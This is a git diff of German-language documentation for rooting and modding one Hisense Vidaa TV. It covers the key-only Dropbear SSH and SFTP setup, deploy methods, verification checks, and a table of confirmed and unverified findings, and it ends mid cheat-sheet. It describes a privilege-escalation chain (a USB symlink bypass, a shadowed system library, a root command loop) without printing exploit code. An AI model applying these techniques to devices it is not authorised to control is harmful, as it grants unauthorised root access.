### 3.4 Root-Home / authorized_keys
|
||||||
|
|
||||||
|
- Root-Home `/basic` ist **ro**; Dropbear braucht `~/.ssh/authorized_keys`.
|
||||||
|
- Lösung: `/etc/passwd`-Kopie mit `root:x:0:0:root:/3rd_rw/sshd/home:/bin/sh` und **Bind-Mount** über `/etc/passwd`; die ro Originaldatei bleibt unverändert.
|
||||||
|
- `authorized_keys`: dein Public Key (600, root); `.ssh`/Home 700.
|
||||||
|
- **Kein `/etc/shadow`-Eingriff**, kein Passwort.
|
||||||
|
|
||||||
|
### 3.5 Host-Key / Verbindung
|
||||||
|
|
||||||
|
```
|
||||||
|
Host-Key: SHA256:7tFL8xcKAh7+wC/3T5QiutxYMqcBTM7p+P4uEMAOwts
|
||||||
|
Login: ssh root@192.168.188.94
|
||||||
|
```
|
||||||
|
|
||||||
|
Beim ersten Mal Fingerprint bestätigen. Der Host-Key bleibt in `/3rd_rw/sshd/host_key` (rw, reboot-fest).
|
||||||
|
|
||||||
|
### 3.6 SFTP (optional, key-only)
|
||||||
|
|
||||||
|
Dropbear hat keinen eigenen sftp-server; der Server exec't den compile-time
|
||||||
|
`SFTPSERVER_PATH` (Default `/usr/libexec/sftp-server`). Der ro Rootfs erlaubt
|
||||||
|
dort keine Datei. Der finale Ordner liefert deshalb:
|
||||||
|
|
||||||
|
- `../root/tools/pub/sftp-server` — **statischer** OpenSSH-9.9p1-sftp-server
|
||||||
|
(ARM, 635.680 B; kein glibc-2.18-Problem)
|
||||||
|
- `../root/tools/pub/dropbear-sftp` — Dropbear mit
|
||||||
|
`SFTPSERVER_PATH=/3rd_rw/sshd/sftp-server`
|
||||||
|
- `../root/sources/openssh-9.9p1.tar.gz` + `build_sftp_server.sh` — Repro-Build
|
||||||
|
- `../root/scripts/host/install_sftp.sh` — Installation/Test/Tausch
|
||||||
|
- `../root/scripts/tv/{install_sftp_stage.sh,enable_sftp.sh,swap_sftp.sh}`
|
||||||
|
|
||||||
|
**Build:**
|
||||||
|
|
||||||
|
```bash
|
||||||
|
cd /workspace/hisense-he40e5600-root-modding
|
||||||
|
root/scripts/host/build_sftp_server.sh # OpenSSH sftp-server, static ARM
|
||||||
|
root/scripts/host/build_dropbear.sh # dropbear + dropbear-sftp
|
||||||
|
```
|
||||||
|
|
||||||
|
**Install (einfachster Weg, vom Host mit deinem SSH-Key):**
|
||||||
|
|
||||||
|
```bash
|
||||||
|
cd /workspace/hisense-he40e5600-root-modding
|
||||||
|
root/scripts/host/install_sftp.sh
|
||||||
|
# optional: TV=root@192.168.188.94 SSH_KEY=~/.ssh/id_ed25519 ...
|
||||||
|
```
|
||||||
|
|
||||||
|
Ablauf:
|
||||||
|
|
||||||
|
1. lädt `sftp-server` + `dropbear-sftp` per `ssh` (nicht scp!) nach
|
||||||
|
`/3rd_rw/appdata`;
|
||||||
|
2. startet einen **Test-Dropbear auf Port 2222**; Port 22 bleibt unangetastet;
|
||||||
|
3. testet `sftp -P 2222` (echte SFTP-Session);
|
||||||
|
4. nur bei Erfolg: Backup `dropbear.nosftp`, Tausch auf Port 22, Neustart;
|
||||||
|
5. testet `sftp` auf Port 22.
|
||||||
|
|
||||||
|
**Danach:**
|
||||||
|
|
||||||
|
```bash
|
||||||
|
sftp root@192.168.188.94
|
||||||
|
# pwd, ls /3rd_rw/UI, put lokale-datei /3rd_rw/UI/, get /3rd_rw/UI/index.html, bye
|
||||||
|
```
|
||||||
|
|
||||||
|
Modernes `scp` (OpenSSH 9+) nutzt ebenfalls SFTP und funktioniert dann:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
scp /local/file root@192.168.188.94:/3rd_rw/UI/
|
||||||
|
```
|
||||||
|
|
||||||
|
**Rollback:**
|
||||||
|
|
||||||
|
```bash
|
||||||
|
ssh root@192.168.188.94 \
|
||||||
|
'cp -f /3rd_rw/sshd/dropbear.nosftp /3rd_rw/sshd/dropbear; \
|
||||||
|
kill $(cat /3rd_rw/sshd/dropbear.pid) 2>/dev/null; \
|
||||||
|
/bin/sh /3rd_rw/sshd/start_sshd.sh'
|
||||||
|
```
|
||||||
|
|
||||||
|
**Sicherheit:** SFTP läuft als root, key-only, im LAN; derselbe Zugang wie SSH.
|
||||||
|
Nicht ins Internet exponieren. Der sftp-server ist statisch und hat keine
|
||||||
|
TV-glibc-Abhängigkeit.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 4. Deploy-Wege (ohne Package Manager)
|
||||||
|
|
||||||
|
| Weg | Wann | Beispiel |
|
||||||
|
|---|---|---|
|
||||||
|
| **`File.download`** (Browser root) | HTTP-Datei → `/3rd_rw/appdata` | `HiBrowser.File.download("http://<host>:9000/pub/x","x",1)` |
|
||||||
|
| **`File.write`** (Browser root) | Text (Skripte/JSON) → appdata | `HiBrowser.File.write("root_cmd.sh","id\n",1)` |
|
||||||
|
| **Root-Loop** | Kommandos/Deploy als root | `root_cmd.sh` → `root_out.txt` |
|
||||||
|
| **SSH + base64** | Binärdateien nach `/3rd_rw` | `base64 -w0 x \| ssh root@TV 'base64 -d > /3rd_rw/bin/x'` |
|
||||||
|
| **SSH + tar** | mehrere Dateien | `tar czf - dir \| ssh root@TV 'tar xzf - -C /3rd_rw'` |
|
||||||
|
| **USB** | Dateien auf ext4-Stick | Symlink/Datei; der TV mountet `/mnt/usb/<dev>` |
|
||||||
|
| **`scp`/`sftp`** | **nach optionalem SFTP-Install** | `../root/scripts/host/install_sftp.sh`; dann `sftp root@TV` / `scp datei root@TV:/3rd_rw/...` |
|
||||||
|
|
||||||
|
- **`File.download`** schreibt Binärdateien byte-exakt; Zielpfad muss in der Whitelist (`/3rd_rw/appdata`, `/dev/shm/shm_tmp`, `/3rd/launcher/data`) oder über den USB-Symlink-Bypass erreichbar sein.
|
||||||
|
- **`File.write`** schreibt Text; Binärdaten → `EINVAL`; für Binär `File.download`.
|
||||||
|
- **SSH** ist key-only; `root`; `/3rd_rw`/`/data`/`/perm` rw.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 5. Checks / Verifikation
|
||||||
|
|
||||||
|
### 5.1 Host
|
||||||
|
|
||||||
|
```bash
|
||||||
|
cd /workspace/hisense-he40e5600-root-modding
|
||||||
|
sha256sum -c SHA256SUMS
|
||||||
|
root/scripts/host/build_payload.sh # reproduziert 37b13f…
|
||||||
|
file root/tools/pub/dropbear # statisch ARM
|
||||||
|
```
|
||||||
|
|
||||||
|
### 5.2 TV
|
||||||
|
|
||||||
|
```sh
|
||||||
|
/bin/sh /3rd_rw/appdata/verify.sh
|
||||||
|
# oder:
|
||||||
|
cat /3rd_rw/root_proof.txt
|
||||||
|
ps | grep -E 'dropbear|root_loop'
|
||||||
|
cat /proc/net/tcp | grep :0016
|
||||||
|
grep '^root:' /etc/passwd
|
||||||
|
ls -l /3rd_rw/sshd/home/.ssh/authorized_keys
|
||||||
|
```
|
||||||
|
|
||||||
|
### 5.3 SSH
|
||||||
|
|
||||||
|
```bash
|
||||||
|
ssh root@192.168.188.94 'id; cat /proc/self/status | grep -E "^(Uid|Gid|CapEff):"'
|
||||||
|
ssh -T root@192.168.188.94 'uname -a' 2>/dev/null || true
|
||||||
|
```
|
||||||
|
|
||||||
|
- `uid=0(root)`; `CapEff=0000003fffffffff`.
|
||||||
|
- PTY: interaktive Shell; `ssh -T` als Fallback.
|
||||||
|
|
||||||
|
### 5.4 SFTP (nach Install)
|
||||||
|
|
||||||
|
```bash
|
||||||
|
printf 'pwd\nls /3rd_rw/UI\nbye\n' | sftp root@192.168.188.94
|
||||||
|
# auf dem TV:
|
||||||
|
grep -a 'sftp-server' /3rd_rw/sshd/dropbear
|
||||||
|
# -> /3rd_rw/sshd/sftp-server
|
||||||
|
```
|
||||||
|
|
||||||
|
- Wenn `sh: /usr/libexec/sftp-server: No such file` erscheint, ist noch der
|
||||||
|
ungepatchte Dropbear aktiv: `root/scripts/host/install_sftp.sh`.
|
||||||
|
- Test-Dropbear/Logs: `/3rd_rw/sshd/dropbear2222.log`, `swap.log`,
|
||||||
|
`dropbear.log`; Backup `/3rd_rw/sshd/dropbear.nosftp`.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 6. Grenzen / Unknowns
|
||||||
|
|
||||||
|
- **Statisch** ist der sichere Weg; dynamische Binaries brauchen die TV-glibc 2.18.
|
||||||
|
- **Kein Package Manager** → kein automatisches Dependency-/Update-Handling.
|
||||||
|
- **`/dev` ro/kein devtmpfs** → PTY-Workaround nötig; andere Device-Nodes statisch.
|
||||||
|
- **Kein overlayfs** → Bind-Mounts; ro-Dateien per `developer.sh` ersetzen.
|
||||||
|
- **SFTP** ist optional: Dropbear allein hat keinen sftp-server; der statische OpenSSH-sftp-server + gepatchter Dropbear werden per `install_sftp.sh` installiert. Vorher `ssh`+`base64`/`tar`/`File.download`.
|
||||||
|
- **`/3rd`/Rootfs 100 % voll**; neue Daten nach `/3rd_rw`/`/data`; kein Flash.
|
||||||
|
- **UI-/AM-Interna** (`Hisense_*`, `guijs`/`TVAPI`, `app_man`, `LauncherService`) sind nicht vollständig dokumentiert; im DevTools/auf dem TV testen.
|
||||||
|
- **DRM/`securetime`**, Netflix/Cobalt/Amazon, OTA/`checker.sh` sind nicht Teil des Root-/Deploy-Wegs; Deaktivierung testen.
|
||||||
|
- **Keine Secrets**: kein Root-Hash, kein privater Key in diesem Ordner.
|
||||||
@@ -0,0 +1,127 @@
|
|||||||
|
# 07 — Evidence, Verification, Unknowns
|
||||||
|
|
||||||
|
**Zweck:** Belegbarkeit und ehrlicher Status. Keine Behauptung ohne Pfad/Auszug; alles, was nicht live getestet ist, ist als `UNVERIFIED` markiert.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. Was live bestätigt ist
|
||||||
|
|
||||||
|
| Fakt | Beleg | Status |
|
||||||
|
|---|---|---|
|
||||||
|
| Browser root | `/proc/self/status` → `Uid/Gid 0 0 0 0`, `CapEff=0000003fffffffff`, Single-Process | **CONFIRMED live** |
|
||||||
|
| USB-ext4-Symlink-Bypass | `pwn`/`tvi` dangling; `File.write`/`File.download` legt Root-Datei an; `SYMTEST` | **CONFIRMED live** |
|
||||||
|
| `libtvsysinfo`-Shadow | 33.500 B, SHA `37b13f…`; Boot lädt sie; `ROOT_EXEC_TVI`; self-unlink | **CONFIRMED live** |
|
||||||
|
| Root-Loop | PID/Log; `uid=0`; `root_cmd.sh` → `root_out.txt` | **CONFIRMED live** |
|
||||||
|
| Dropbear-SSH | `dropbear` static ARM; `0.0.0.0:22`; `Pubkey auth succeeded for 'root'` | **CONFIRMED live** |
|
||||||
|
| PTY | Session `pts/0`; `busybox script` → `uid=0(root)` | **CONFIRMED live** |
|
||||||
|
| `/etc/passwd`-Bind | Root-Home `/3rd_rw/sshd/home:/bin/sh`; authorized_keys 600 | **CONFIRMED live** |
|
||||||
|
| HamService-Wrapper | `/3rd_rw/hamservice/HamService` startet Loop + SSH, exec real HamService | **CONFIRMED installiert**; Reboot-Test im Root-Guide |
|
||||||
|
| Payload-Repro | `build_tvi_payload.py` → exakt `37b13f…` | **CONFIRMED** (Host) |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 2. Was aus statischen/live Daten abgeleitet ist (nicht zwingend getestet)
|
||||||
|
|
||||||
|
- Die **Modding-Rezepte** (App-Tile, Custom-UI, Launcher-Daten, AM-/Service-Bloat, `developer.sh`-Bind-Mounts, `patch/opera4x`) sind aus den live gelesenen Dateien/Strukturen abgeleitet.
|
||||||
|
- **Custom-UI** (`UI/index.html` ersetzen) ist **nicht** live getestet; das Risiko (schwarzer Bildschirm) ist dokumentiert.
|
||||||
|
- **Bloat-Deaktivierungen** (`ms_service`, `swrc`, `runlog`, `Seriallog`, `securetime`, `netflix`, `browser_base`, `app_man`, `dtv_svc`) sind **nicht** alle getestet; Matrix/Rollback in `05`.
|
||||||
|
- **`Hisense_StartApp`/`TVAPI`/`guijs`-Signaturen** in der UI sind nicht vollständig belegt; im UI-DevTools (9223) prüfen.
|
||||||
|
- **`app_man`/`:am`-Semantik** je App (`start`/`URL`/`backgm`/`coexist`) ist aus Strings/Config abgeleitet; einzelne Aktionen testen.
|
||||||
|
- **`VIDAAU2Launcher`** ist als Alternativ-Skin vorhanden; ob aktiv, `UNVERIFIED`.
|
||||||
|
- **`preset.txt`/`Category*.xml`-Regeneration** durch `LauncherService`/UI ist nicht vollständig geklärt; die `deletedPresetApp.txt` ist der robuste Hide-Hebel.
|
||||||
|
- **U-Boot-Env** (Bad CRC/default NFS) ist nicht die echte Boot-Konfiguration; `/proc/cmdline` ist maßgeblich.
|
||||||
|
- **Secure Boot/Signaturprüfung**, **DRM/PlayReady/Widevine**, **OTA/`checker.sh`** sind nicht Teil des Root-Wegs und nicht vollständig untersucht.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 3. Evidence-Dateien / Pfade
|
||||||
|
|
||||||
|
### 3.1 In diesem Ordner
|
||||||
|
|
||||||
|
- `root/tools/pub/libtvsysinfo.so` — finaler Payload (33500 B, SHA `37b13f…`)
|
||||||
|
- `root/artifacts/tvi_original.so` — Original-Lib (33220 B, SHA `36ddee…`)
|
||||||
|
- `root/tools/pub/dropbear`, `dropbearkey` — statische Binaries
|
||||||
|
- `root/artifacts/keys/{authorized_keys,host-key-fingerprint.txt}`
|
||||||
|
- `root/tools/{server.py,recon.html,icon.png,live_cmd.txt}`
|
||||||
|
- `root/scripts/{host,tv}/*` — Build/Deploy/Verify/Rollback
|
||||||
|
- `sources/dropbear-2022.83.tar.bz2`
|
||||||
|
- `SHA256SUMS`
|
||||||
|
- `dead-ends.md`
|
||||||
|
|
||||||
|
### 3.2 Am TV (live gelesen)
|
||||||
|
|
||||||
|
- `/proc/version`, `/proc/cmdline`, `/proc/cpuinfo`, `/proc/filesystems`, `/proc/mounts`, `/proc/partitions`
|
||||||
|
- `df -h`, `ls -l /lib`, `ls -l /bin`, `ls -l /etc`
|
||||||
|
- `/etc/inittab`, `/etc/init.d/rcS`, `/etc/rc.d/rc.local`
|
||||||
|
- `/basic/autorun.sh` (Zeilen 90/162/168/177/190), `/basic/delayrun.sh`
|
||||||
|
- `/basic/am_config`, `/basic/am_start.ini`
|
||||||
|
- `/3rd/launcherservice/startLS.sh`, `/3rd/hamservice/startHam.sh`, `/3rd/opera4x/browser/run-Browser.sh`, `/3rd/opera4x/hisenseUI/start-UI.sh`
|
||||||
|
- `/3rd_rw/UI/index.html`, `UI/pub/HisProductConfig.js`, `UI/lib/launcherDataInterface.js`
|
||||||
|
- `/3rd_rw/appdata/launcher/{preset.txt,Appinfo.json,deletedPresetApp.txt,data/*,res/*,cache/*}`
|
||||||
|
- `/3rd_rw/user_db.db` (Settings), `/3rd_rw/opera4x/opera_home_browser/{opera.json,browser.db}`
|
||||||
|
- `/3rd_rw/sshd/…`, `/3rd_rw/appdata/root_loop.sh`, `root_loop.pid`, `root_out.txt`
|
||||||
|
- `ps`, `/proc/<pid>/cmdline`, `/proc/<pid>/status`
|
||||||
|
|
||||||
|
### 3.3 Alter Run (nur Provenienz)
|
||||||
|
|
||||||
|
Der frühere Run-Ordner `docs/re/20261025-vidaa-takeover/` (im alten Projekt) enthält die Roh-Captures/History. Er ist **nicht** nötig für die Replikation; die finalen Artefakte/Skripte/Docs liegen in diesem Ordner.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 4. Verification-Status (Modding)
|
||||||
|
|
||||||
|
| Bereich | Status |
|
||||||
|
|---|---|
|
||||||
|
| System/Linux/Package Manager/Storage | **CONFIRMED** (live/static) |
|
||||||
|
| Boot-Kette/Skripte/Zeilen/Services | **CONFIRMED** (live/static) |
|
||||||
|
| UI-Start/Prozesse/Pfade/App-Daten/AM | **CONFIRMED** (live/static) |
|
||||||
|
| 26 Preset-Apps / `Appinfo` / `deleted` | **CONFIRMED** (live gelesen) |
|
||||||
|
| App-Tile (Route A) | **UNVERIFIED** (nicht live getestet; Mechanik aus `Appinfo`/Launcher) |
|
||||||
|
| Custom-UI (Route B) | **UNVERIFIED** (nicht live getestet; Risiko dokumentiert) |
|
||||||
|
| Launcher-Daten/Skin (Route C) | **UNVERIFIED** (nicht live getestet) |
|
||||||
|
| Eigener Service (Route D) | **Root/SSH-Teil live**; Dienst-Beispiele `UNVERIFIED` |
|
||||||
|
| Bind-Mount/Overlay (Route E) | **Mechanik live** (`/etc/passwd`, `/dev/pts`); AM-/UI-Bind-Mounts `UNVERIFIED` |
|
||||||
|
| Statische Tools/Deploy (Route F) | **Dropbear/SSH/PTY live**; andere Tools `UNVERIFIED` |
|
||||||
|
| SFTP (optional) | statischer OpenSSH-sftp-server + gepatchter Dropbear gebaut; Installer testet 2222 vor 22; **TV-Test nach Install** |
|
||||||
|
| Bloat-Deaktivierungen | **UNVERIFIED** (Matrix/Rollback in `05`) |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 5. Bekannte Unknowns
|
||||||
|
|
||||||
|
- Exakte SoC-Bezeichnung (MT5863 vs. MT53xx-Familie), Kernanzahl, Secure-Boot/Signaturen.
|
||||||
|
- Vollständige Kernel-Config, `dm-3`-Konstruktion, `spdata`/`perm`/`facset`/`hiscfg`/`eeprom`/`channel`/`pq`/`adsp`/`logo`.
|
||||||
|
- Echter U-Boot-Flow/Env (Bad CRC), A/B-Slot-Auswahl, Recovery.
|
||||||
|
- `checker.sh`/`ota_upgrade_strategy.sh`/`file_upgrading`/`bspatch`/OTA.
|
||||||
|
- `dtv_svc`/`app_man`/`:am`-Interna, `coexist_set`/`backgm`/`keymap`.
|
||||||
|
- `LauncherService`-Datenquelle/Update (Store/Foxxum/FCGI), `preset`-/`Category`-Regeneration.
|
||||||
|
- Aktive UI-Template-/Skin-Auswahl; `VIDAAU2Launcher` aktiv? `UNVERIFIED`.
|
||||||
|
- `Hisense_StartApp`/`TVAPI`/`guijs`-Signaturen; `app_man`-Start-Sinn.
|
||||||
|
- Bloat-Folgen: `ms_service`/`swrc`/`runlog`/`Seriallog`/`HamService`/`securetime`/`browser_base`/`app_man`/`dtv_svc`.
|
||||||
|
- DRM/PlayReady/Widevine/Netflix/Cobalt/Amazon; `securetime`.
|
||||||
|
- SFTP ist über den statischen OpenSSH-sftp-server + gepatchten Dropbear nachgerüstet; der Installer testet Port 2222 und erst dann 22. Das TV-Testergebnis steht in `/3rd_rw/sshd/dropbear2222.log` und `swap.log`; `ssh`+base64/tar bleibt der Fallback.
|
||||||
|
- Ob eine eigene `UI/index.html` die `TVAPI`/`model`-Globals braucht oder `Hisense_*`/`guijs` direkt nutzbar sind.
|
||||||
|
- Ob `preset`/`Category`/`serviceUpdate` bei Store-/Netz-Updates überschrieben werden.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 6. Dead Ends (Kurzfassung)
|
||||||
|
|
||||||
|
Siehe `../dead-ends.md`. Die wichtigsten:
|
||||||
|
|
||||||
|
- Factory `Builtin Video`/`Write Keys`, AM `startApp` (kein exec/args).
|
||||||
|
- V8 5.9/Chromium 59 ohne öffentlichen ARM32-Exploit; nicht nötig.
|
||||||
|
- `liblogLevel`-Shadow (Index 17 belegt), `libIQQILib`/`libota`/`hisensefileutils`-Varianten, `ms-screen`-`lib`-Symlink.
|
||||||
|
- `File.write` binär (`EINVAL`), `loadLibrary`-Tricks.
|
||||||
|
- FAT32/Superfloppy-USB, fehlende Symlink-Möglichkeit.
|
||||||
|
- Dropbear `-s` (gibt es nicht), PTY direkt auf `/dev/pts` (ro). **SFTP ist kein Dead End mehr**: statischer OpenSSH-sftp-server + gepatchter Dropbear (`install_sftp.sh`).
|
||||||
|
- UI-Alt-Skins (`launcher`/`VIDAAU2Launcher`) als aktiven Einstieg; die aktive UI ist `/3rd_rw/UI`.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 7. Keine Secrets
|
||||||
|
|
||||||
|
- **Kein Root-Hash** in diesem Ordner.
|
||||||
|
- **Kein privater SSH-Key**; nur der Public Key (`authorized_keys`) + Host-Key-Fingerprint.
|
||||||
|
- **Keine Captures/ungefilterten Dumps** in diesem Ordner; die Roh-Evidence liegt (falls benötigt) im alten Run-Ordner.
|
||||||
|
- **Keine Zugangsdaten** zu Dritt-Diensten; die Preset-URLs sind nur Ziel-Daten, keine Aufforderung, sie zu kontaktieren.
|
||||||
@@ -0,0 +1,165 @@
|
|||||||
|
# Modding Docs — Hisense HE40E5600FFWTS (Vidaa U, V0100.01.00A.N0410)
|
||||||
|
|
||||||
|
**Stand:** 2026-10-26
|
||||||
|
**TV:** Hisense HE40E5600FFWTS, FW `V0100.01.00A.N0410`, LAN `192.168.188.94`
|
||||||
|
**Host/Server:** `192.168.188.150:9000`
|
||||||
|
**Root/SSH:** siehe [`../root/ROOT-GUIDE.md`](../root/ROOT-GUIDE.md)
|
||||||
|
**Status:** Root + Dropbear-SSH (key-only) live; Modding-Recipes in diesem Ordner sind static/live belegt, aber **noch nicht alle am TV getestet** (siehe `07-evidence-unknowns.md`).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Die drei Fragen in 30 Sekunden
|
||||||
|
|
||||||
|
### Welches Linux ist das?
|
||||||
|
Ein **Hisense/MediaTek Embedded Linux**, kein Standard-Distro:
|
||||||
|
|
||||||
|
- **Kernel:** Linux **3.18.25** (ARMv7, SMP PREEMPT, Linaro GCC 4.8.2, Build 2023-04-10)
|
||||||
|
- **SoC:** MediaTek **MT53xx/MT5863**-Klasse (Kernel-Cmdline `mt53xx-emmc`; Browser-Build `mt5863_sa_768_linux`; Cortex-A53, ARMv7, NEON/VFPv4)
|
||||||
|
- **Userland:** **glibc 2.18** (`/lib/libc-2.18.so`, `ld-linux.so.3`), **BusyBox 1.18.5**, GNU/BusyBox-Mix
|
||||||
|
- **Init:** SysV-artig (`/etc/inittab`, `/etc/init.d/rcS`, `/etc/rc.d/rc.local`), **kein systemd**
|
||||||
|
- **Kein `/etc/os-release`**, keine Distro-Version; Firmware-String `V0100.01.00A.N0410`
|
||||||
|
- **Storage:** squashfs-ro Rootfs (`/`, 38.8 MB, 100 % voll), `/3rd` squashfs-ro (141 MB, 100 %), `/3rd_rw` ext4-rw (1.1 GB, 56 % belegt), `/data` ext4-rw (1.9 GB, fast leer), `/perm` ext4-rw (3.9 MB), `/spdata` ext4-ro
|
||||||
|
- **Kein overlayfs** im Kernel; Modding läuft über **rw-Partitionen + `mount --bind`** und die vorhandenen rw-Verzeichnisse (`/3rd_rw`, `/data`, `/perm`).
|
||||||
|
|
||||||
|
### Gibt es einen Package Manager?
|
||||||
|
**Nein.** Kein `apt`, `dpkg`, `opkg`, `ipkg`, `rpm`, `apk`, `yum` oder `pacman`; keine `/etc/opkg`, `/var/lib/dpkg` o. ä. (Root-Check, siehe `07`).
|
||||||
|
**Konsequenz:** Eigene Tools/UI/Services werden als **statische ARM-Binaries** (oder Shell-Skripte) gebaut und per `File.download`, SSH/`base64`/`tar`, USB oder (nach optionalem SFTP-Install) per `sftp`/`scp` nach `/3rd_rw` gebracht. Es gibt **kein** Paket-Repo, kein `opkg install`.
|
||||||
|
|
||||||
|
### Wo ist das UI und wie läuft es?
|
||||||
|
Das TV-UI ist eine **Web-UI im `hisenseUI`-Browser** (Opera/Chromium-Basis, root, GLES):
|
||||||
|
|
||||||
|
```
|
||||||
|
/basic/autorun.sh (Zeile 168)
|
||||||
|
→ /3rd/opera4x/hisenseUI/start-UI.sh
|
||||||
|
→ ./bin/hisenseUI --hw-gles --jsplugins-dir=/3rd/UI_jsplugins \
|
||||||
|
--disable-web-security ... -u /3rd_rw/UI/index.html
|
||||||
|
```
|
||||||
|
|
||||||
|
- **UI-Prozess:** `hisenseUI` (z. B. PID 589), root, `--hw-gles`, `--disable-web-security`, JS-Plugins aus `/3rd/UI_jsplugins`, DevTools-Port **9223** (wenn `/3rd_rw/appdata/enable_developer_tools` existiert)
|
||||||
|
- **UI-Seite:** `/3rd_rw/UI/index.html` (PIXI-basierte UI; lädt `model/model.js`, `sdk/UI.js`, `lib/launcherDataInterface.js`, `pub/HisProductConfig.js` usw.)
|
||||||
|
- **Launcher-/App-Daten:** `/3rd_rw/appdata/launcher/`
|
||||||
|
- `preset.txt` — die 26 vorinstallierten App-Tiles (Netflix, Prime Video, Disney+, YouTube, …; aktuell inkl. `VidaaRecon`)
|
||||||
|
- `Appinfo.json` — vom Nutzer installierte Web-Apps (unser `VidaaRecon`)
|
||||||
|
- `deletedPresetApp.txt` — JSON-Array der ausgeblendeten Tiles (Stand 2026-10-26: `[]`, alte Probe-URLs entfernt)
|
||||||
|
- `data/CategoryIndex.xml`, `CategoryList_*.xml`, `Category_1001_*.xml`, `Category_57_*.xml`, `PicInfo.xml` — Kategorien/App-Daten (aktiv, wenn `serviceUpdate.xml` zum Land passt; sonst `UI/data/`-Default)
|
||||||
|
- `res/*.png` — Tile-Icons; `cache/index.json` — Icon-Cache
|
||||||
|
- **LauncherService:** `/3rd/launcherservice/bin/LauncherService` (startet per `/3rd/launcherservice/startLS.sh` aus `delayrun.sh` nach ca. 15 s); liefert/aktualisiert Launcher-Daten; Strings u. a. `/3rd_rw/appdata/launcher/data/CategoryIndex.xml`, `PicInfo.xml`, `/tmp/launcher/launcherServiceAuth.xml`
|
||||||
|
- **Native Apps / AM:** `/basic/app_man -c /basic/am_config -s /basic/am_start.ini -input_fifo`; startet `dtv_svc` (TV), `netflix`, `dialserver`, `samba_relay_agent`, `browser_base`, `securetime` usw.; App-Steuerung über `:am,<app>,:<verb>=<val>`
|
||||||
|
- **Web-Browser (nicht das TV-UI):** `hisense_browser` (z. B. PID 1320), gestartet über `/3rd/opera4x/browser/run-Browser.sh` (AM-App `opera4x`), `--hw-dfb`, `--allow-file-access-from-files`, DevTools **9224**; hier läuft unsere Recon-Seite. Der „TV Browser“-Tile startet diesen Browser.
|
||||||
|
|
||||||
|
**Wichtig:** `hisenseUI` (TV-UI) und `hisense_browser` (Web-Browser) sind **zwei verschiedene Prozesse** mit unterschiedlichen Startskripten, Renderern (GLES vs. DFB), JS-Plugin-Verzeichnissen und Debug-Ports.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Ordnerstruktur
|
||||||
|
|
||||||
|
| Datei | Inhalt |
|
||||||
|
|---|---|
|
||||||
|
| `01-system-linux.md` | Linux/Kernel/SoC, glibc/BusyBox, Package-Manager-Negativ, Dateisysteme, Partitionen, Toolchain-Constraints |
|
||||||
|
| `02-boot.md` | U-Boot/eMMC, Kernel-Cmdline, init/rcS/rc.local, `autorun.sh`, `developer.sh`, AM/UI/Delayrun, Services, Boot-Hooks |
|
||||||
|
| `03-ui.md` | `hisenseUI` vs. `hisense_browser`, `/3rd_rw/UI`, `ldi.js`, Launcher-/App-Daten, `preset`/`Appinfo`/`deleted`, `LauncherService`, AM/`:am`, Plugins, DevTools, Restart |
|
||||||
|
| `04-modding.md` | Rezepte: Custom-App-Tile, Custom-UI, Launcher-Skin/Daten, eigener Service, `developer.sh`, `patch/opera4x`, Bind-Mounts, `:am`/JS-APIs, Rollback |
|
||||||
|
| `05-bloat.md` | 26 Preset-Apps, Native-Apps/Services-Matrix, was man gefahrlos deaktivieren kann, `developer.sh`-Stubs, Platz/Reclaim, Risiken |
|
||||||
|
| `06-toolchain-deploy.md` | Kein Package Manager: statisch für ARM bauen, deployen (File/SSH/USB), glibc-2.18-/Kernel-3.18-Fallen, Dropbear/PTY, Checks |
|
||||||
|
| `07-evidence-unknowns.md` | Belege, Pfade, Hashes, Verification-Status, bekannte Unknowns |
|
||||||
|
| `templates/` | `developer.sh`, `custom-app.json`, `hide-preset.json`, `custom-ui.html`, `start-UI-custom.sh`, `README` |
|
||||||
|
| `../root/ROOT-GUIDE.md` | Kompletter Root-/SSH-Weg (USB-ext4-Symlink, `libtvsysinfo`-Shadow, Root-Loop, Dropbear, PTY, Persistenz) |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Schnellstart (was zuerst?)
|
||||||
|
|
||||||
|
1. **Root/SSH prüfen:** `ssh root@192.168.188.94 'id; ps | grep -E "hisenseUI|hisense_browser|dropbear"'` — Details im Root-Guide.
|
||||||
|
**SFTP (optional):** `../root/scripts/host/install_sftp.sh` (testet Port 2222, dann 22); danach `sftp root@192.168.188.94`.
|
||||||
|
2. **UI ansehen:** Im UI-Prozess DevTools 9223 (falls `enable_developer_tools`), im Web-Browser 9224. Die UI-Seite ist `/3rd_rw/UI/index.html`.
|
||||||
|
3. **Sicherster Modding-Schritt:** Eine **eigene App-Tile** über `/3rd_rw/appdata/launcher/Appinfo.json` (siehe `04-modding.md`, Route A). Das ist reversibel und macht das UI nicht kaputt.
|
||||||
|
4. **Dann:** Launcher-Daten/Tiles über `preset.txt` / `deletedPresetApp.txt` / `Category_*.xml` anpassen (Route C).
|
||||||
|
5. **Erst danach:** Die UI-Seite `/3rd_rw/UI/index.html` ersetzen (Route B) — Backup, SSH/Web-Browser als Rettungsweg, UI-Prozess neu starten.
|
||||||
|
6. **Bloat:** Preset-Tiles ausblenden (`deletedPresetApp.txt`), native Apps/Services über `am_start.ini`/`am_config`/`delayrun.sh` und `developer.sh` deaktivieren (`05-bloat.md`). Kein Flash nötig.
|
||||||
|
7. **Eigene Services/Funktionen:** `/3rd_rw/developer.sh` (früher Root-Hook) oder der vorhandene `HamService`-Wrapper (spät, nach 15 s); statische ARM-Binaries; `:am`/`Hisense_*`/`HiBrowser` APIs.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Die wichtigsten Pfade (Cheat-Sheet)
|
||||||
|
|
||||||
|
```
|
||||||
|
# TV-UI
|
||||||
|
